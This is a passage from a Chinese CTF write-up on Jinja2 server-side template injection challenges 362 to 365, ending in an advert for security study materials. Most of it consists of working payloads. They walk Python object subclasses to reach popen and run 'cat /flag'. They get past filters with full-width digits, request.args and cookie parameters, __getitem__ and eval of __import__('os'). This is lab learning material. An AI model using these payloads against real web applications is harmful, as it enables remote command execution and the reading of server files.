从全局变量字典中获取名为popen
的变量
7. 执行系统命令:
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag') |
使用Popen
类来执行cat /flag
命令,这个命令通常用于读取名为flag
的文件。
8. 读取命令输出:
调用read()
方法来读取Popen
对象的输出,即cat /flag
命令的输出。
payload
"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()
362
传参试试
轮流试试每个数字,发现只有2和3被过滤
而且只要字符串不包括2和3就能显示
使用全角数字进行绕过
关闭使用半角输入模式
“1234567890”
payload:
?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
363
数字没有被过滤掉
经过各种字母和符号尝试,发现会过滤“”
试试把“”进行url编码看看
还是会被过滤
但是传参会自动补齐双引号,所以索性不加了
?name={{x.__init__.__globals__[request.args.a].eval(request.args.b)}}&a=__builtins__&b=__import__('os').popen('cat /flag').read()
364
它将arg过滤掉了,所以没有办法直接GET传参
改用Cookie传
GET传参
?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}}
Cookie:
x1=__builtins__;x2=__import__('os').popen('cat /flag').read()
365
尝试Jinja2模板注入
过滤单双引号、[、args
找一下os
{{x.__class__.__bases__.__getitem__(0).__subclasses__()}}
在页面内查找
数出来是132
用__getitem__
绕过中括号[
过滤,request对象
绕过引号''
、""
过滤,cookie
或者values
绕过args
过滤
得到:
{{x.__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(132).__init__.__globals__.popen(request.cookies.x).read()}}
还有Cookie传参
x=ls /
给大家的福利
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
因篇幅有限,仅展示部分资料
详情docs.qq.com/doc/DSlhRRFFyU2pVZGhS